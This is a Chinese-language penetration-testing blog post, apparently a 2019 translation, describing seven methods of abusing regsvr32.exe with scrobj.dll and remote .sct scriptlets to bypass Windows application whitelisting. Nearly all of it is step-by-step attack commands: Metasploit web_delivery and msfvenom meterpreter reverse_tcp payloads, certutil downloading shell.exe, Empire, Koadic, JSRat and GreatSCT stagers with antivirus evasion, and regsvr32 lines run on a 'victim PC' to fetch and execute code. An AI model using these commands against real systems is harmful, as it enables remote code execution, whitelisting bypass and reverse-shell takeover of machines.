使用regsrv32.exe绕过应用程序白名单(多种方法)

0x00 regsvr简介

regsvr32表示Microsoft注册服务。它是Windows的命令行实用工具。虽然regsvr32有时会导致问题出现,但它是Windows系统文件中的一个重要文件。该文件位于C:\\Windows的子文件夹中。该文件能够被查看,跟踪和影响其他程序。它主要用于在Windows文件扩展名中注册和取消注册程序,因为它是.exe,它的进程广泛地应用到OLE(对象链接和嵌入)、DLL(数据链接库)和OCX(ActiveX控制模块)中。上述进程在后台运行,可以通过任务管理器看到。它是微软的可信文件之一。

0x01 regsvr运行

当你通过regsvr32中注册一个dll文件时,有关与regsvr32关联的程序的信息将会被添加到Windows中。然后访问这些进程查看器以了解程序数据的位置以及如何与程序数据进行交互。在注册一个dll文件时,会将信息添加到目录中,以便Windows可以使用它。这些文件的整个路径在字面上都有可执行代码,因此Windows可以调用特定的函数。这些文件非常方便,因为当软件更新时,这些文件会自动调用更新的版本;简而言之,它有助于避免软件的版本问题。通常,除了注册和注销dll文件外,此文件不常用

RegSvr32.exe具有以下命令行选项:

语法: Regsvr32 [/s][/u] [/n] [/i[:cmdline]] <dllname>

/ u - 取消注册server 
/ i - 调用DllInstall传递一个可选的[cmdline]; 当它与/u一起使用时,调用dll uninstall
/ n - 不要调用DllRegisterServer; 此选项必须与/i一起使用 
/ s - Silent;不显示消息框

要了解更多信息,请访问:https://support.microsoft.com/en-us/help/249873/how-to-use-the-regsvr32-tool-and-troubleshoot-regsvr32-error-messages

0x02 攻击regsvr的多种方法

  • Web delivery
  • Empire
  • Manual
  • MSFVenom
  • Koadic
  • JSRat
  • GreatSCT

1.第一种方法:Web Delivery

模块可以快速启动一个为payload提供服务的Web服务器。提供的命令将允许下载和执行payload。它将通过指定的脚本语言解析器或Regsvr32使用squiblydoo技术绕过应用程序白名单。此模块的主要目的是当攻击者必须手动输入命令(例如命令注入)时,快速在目标计算机上建立会话:例如命令注入。

Regsvr32使用squiblydoo技术绕过应用程序白名单。签名的Microsoft二进制文件Regsvr32能够运行.sct文件,然后在其中执行包含PowerShell命令。两个Web请求(即.sct文件和PowerShell下载/执行)都可以在同一端口上执行。“PSH(Binary)”会将文件写入到硬盘中,允许自定义二进制文件被下载和执行。

use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 3
msf exploit (web_delivery)> set payload php/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.1.109
msf exploit (web_delivery)>set srvhost 192.168.1.109
msf exploit (web_delivery)>exploit

复制下图中突出被框选的代码:

一旦该exploit被执行,您将拥有一个为您创建的URL。在受害者pc的命令提示符中运行该URL,如下所示:

regsvr32 /s /n /u /i:http://192.168.1.109:8080/xo31Jt5dIF.sct scrobj.dll

在命令执行后按Enter键,您将拥有您的会话如下图所示,输入sysinfo命令获取主机信息:

2.第二种方法:PowerShell Empire

对于我们的下一个regsvr攻击方法,我们将使用empire。empire是一个后开发框架。到目前为止,我们必须将.sct标记与metasploit匹配,但在此方法中,我们将使用Empire框架。它只是基于python的powershell windows代理,这使得它非常有用。empire由@harmj0y、@sixdub、@enigam0x3、rvrsh3ll、@killswitch_gui和@xorrier开发。您可以从https://github.com/empireproject/empire 下载此框架

要了解empire的基本指南,请访问我们的文章empire介绍https://www.hackingarticles.in/hacking-with-empire-powershell-post-extraction-agent/

启动Empire框架后,输入listener以检查是否有任何活动的侦听器。如下图所示,没有活动的侦听器。要设置侦听器,请输入以下命令:

uselistner http
set Host http://192.168.1.109
execute

使用以上命令,您将拥有一个活动的侦听器。键入back以退出侦听器,以便启动PowerShell。

一旦断开了侦听器,就需要使用exploit来创建恶意文件。empire中的stager是一段代码段,它允许我们的恶意代码通过被受感染主机上的代理运行这意味着要创建一个exploit,我们必须使用stager。因此,输入以下命令:

usestager windows/launcher_sct
set listener http
execute
 

执行命令后,usestager将在/tmp中创建一个launcher.sct。现在要获取会话,请通过输入以下命令启动python服务器:

python -m SimpleHTTPServer 8080

当服务器启动时,剩下的唯一步骤是在受害者的PC中执行我们的恶意软件。为此,在命令提示符中输入以下命令:

regsvr /s /n /u /i:http://192.168.1.109:8080/tmp/launcher.sct scrobj.dll

在上面的命令中,我们使用了端口8080,因为我们的python服务器是在同一个端口上被激活

按照说明执行上述操作后,您将收到一个会话。要访问会话,请输入以下命令:

interact 9ATUX4M7

9ATUX4M7:是代理/会话名称。这将因会话而异。

3.第三种方法:在sct文件中注入PowerShell代码(手动方法)

我们的下一个方法将借助于一个exploit。我们使用的exploit将帮助我们创建一段PowerShell代码。我们先创建PowerShell,然后进入到kali和终端并输入命令。

运行此exploit后,它将在终端屏幕上显示powershell代码,如下图所示:

use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 2
msf exploit (web_delivery)> set payload windows/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.1.109
msf exploit (web_delivery)>set srvhost 192.168.1.109
msf exploit (web_delivery)>exploit

复制下面突出显示的文本代码

Regsvr32是一个命令行实用程序,用于注册和取消注册OLE控件,例如Windows注册表中的DLL和ActiveX控件。Regsvr32.exe安装在Windows XP及更高版本的Windows的%systemroot%\System32 文件夹中。

现在我们需要创建一个.sct文件,以便我们的攻击能够执行。我们在网上找到了一个脚本来创建.sct文件。您可以通过单击此处访问脚本的链接该脚本如下图所示: 

复制由web-delivery创建的PowerShell代码,并将其粘贴到上面的脚本中,在上面的脚本中它会显示“calc.exe”,如下图所示,然后使用.sct扩展名保存它。

然后就像上诉一样,运行以下命令在受害者的PC中使用regsvr32.exe执行.sct文件:

regsvr32 /u /n /s /i:http://192.168.1.109/1.sct scrobj.dll

一旦执行了上述命令,您就可以通过Web_交互进行会话。要访问会话类型“sessions 1”和“info”以获取有关系统的基本信息。

4.第四种方法:MsfVenom

我们的下一个方法是使用msfvenom。通过这种方法,我们将创建两个.sct文件,一个用于下载我们的恶意软件,另一个用于执行它。但首先,让我们开始使用MSFvenom,对于这种类型,请输入以下命令:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f exe > shell.exe

使用以下命令启动python服务器:

python -m SimpleHTTPServer 80

同时,在前一种方法中使用的同一脚本中,注入certutil.exe命令以从远程服务器调用shell.exe文件。因此,不要使用“calc.exe”写入以下内容,并使用.sct扩展名再次保存文件

certutil.exe -urlcache  -split  -f  http://192.168.1.109/shell.exe

我们在这里使用了certutil,因为它允许在Windows中下载文件并将文件保存为3.sct。

现在,使用以下命令运行上面的脚本:

regsvr32 /u /n /s /i:http;//192.168.1.109/3.sct scrobj.dll

我们将创建另一个文件来执行以前的文件“shell.exe”。为此,再次采用相同的脚本,并在其中写入“calc.exe”;因此,写入以下命令:

cmd /k cd c:\Users\raj & shell.exe

我们已将脚本保存为4.sct,并使用以下命令再次运行此脚本:

regsvr32 /u /n /s /i:http;//192.168.1.109/4.sct scrobj.dll

同时,启动多处理程序,以获得会话。因此,输入以下命令:

use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit

在受害者的主机上运行命令后,你将拥有一个meterpreter会话

5.第五种方法:Koadic

我们的下一个方法是使用koadic。Koadic是一个Windows后期开发的rootkit,类似于其他渗透测试工具,如meterpreter和PowerShellEmpire。要了解更多关于Koadic的信息,请通过以下链接阅读我们关于上述框架的详细文章:https://www.hackingarticles.in/koadic-com-command-control-framework

一旦koadic启动并运行,输入以下命令:

use stager/js/regsvr
set srvhost 192.168.1.107
run

在此之后,在受害者PC的命令提示符中输入以下命令:

regsvr32 /u /n /s /i:http;//192.168.1.107:9998/uWBjv scrobj.dll

运行上述命令后,您将拥有一个会话。要访问会话请输入以下命令:

zombies 0

6.第六种方法:JSRat

我们攻击regsvr32的下一个方法是使用jsrat,你可以从GitHub下载它。这是另一个非常小的命令和控制框架,就像koadic和Powershell Empire一样,只为rundll32.exe和regsvr32.exe生成恶意程序。jsrat将创建一个Web服务器,在该Web服务器上,我们将找到.sct文件。要使用此方法,请键入以下命令:

./JSRat.py -I 192.168.1.107 -p 4444

运行以上命令将启动Web服务器。

在浏览器中打开它,如下所示。在这里,您将找到需要在受害者的PC上运行的.sct文件。

在我们获得命令后,在运行窗口中运行命令,如下图所示:

在命令窗口中执行命令后,您将有一个会话,如图所示:

7.第七种方法:GreatSCT

GreatSCT是一款允许您使用Metasploit exploit并允许它绕过大多数反病毒的工具。GreatSCT目前得到了@ConsciousHacker的支持。你可以从下面地址中下载:

https://github.com/GreatSCT/GreatSCT

下载并运行后,输入以下命令以访问模块:

use Bypass

然后输入“list”以获取模块列表

将显示模块列表,如下图所示:

从模块列表中选择以下选项:

use regsvr/shellcode_iject/base64_migrate.py
generate

完成上述命令后,输入1以选择MSFVenom

然后它会询问你payload。只需按Enter键,即可将Windows/MeterPreter/Reverse_TCP作为默认payload,这就是我们需要的。在此之后,我们提供192.168.1.107和指定端口(any),如下图所示,我们将lport设置为2345。

在给出详细信息后,它会询问您的恶意软件的名称。默认情况下,它将设置名称为“payload”,以便您可以提供名称,或者只需按Enter键进行默认设置。

当你按Enter键时,它会生成两个文件。其中一个是资源文件,另一个是.sct文件

现在,首先,在/usr/share/greatsct输出中输入以下命令启动python的服务器:

python -m SimpleHTTPServer 80

现在在受害者PC的运行窗口中执行.sct文件,如下所示。

使用资源文件启动multi/handler。为此,输入以下命令:

msfconsole -r /usr/share/greatsct-output/handlers/payload.rc

0x03 总结

使用regsvr32获取会话是一种不寻常的方式,但它非常重要。因此,上述方法使用不同的工具和软件来允许我们执行此攻击

posted @ 2019-03-07 14:38  渗透测试中心  阅读(3431)  评论(0编辑  收藏  举报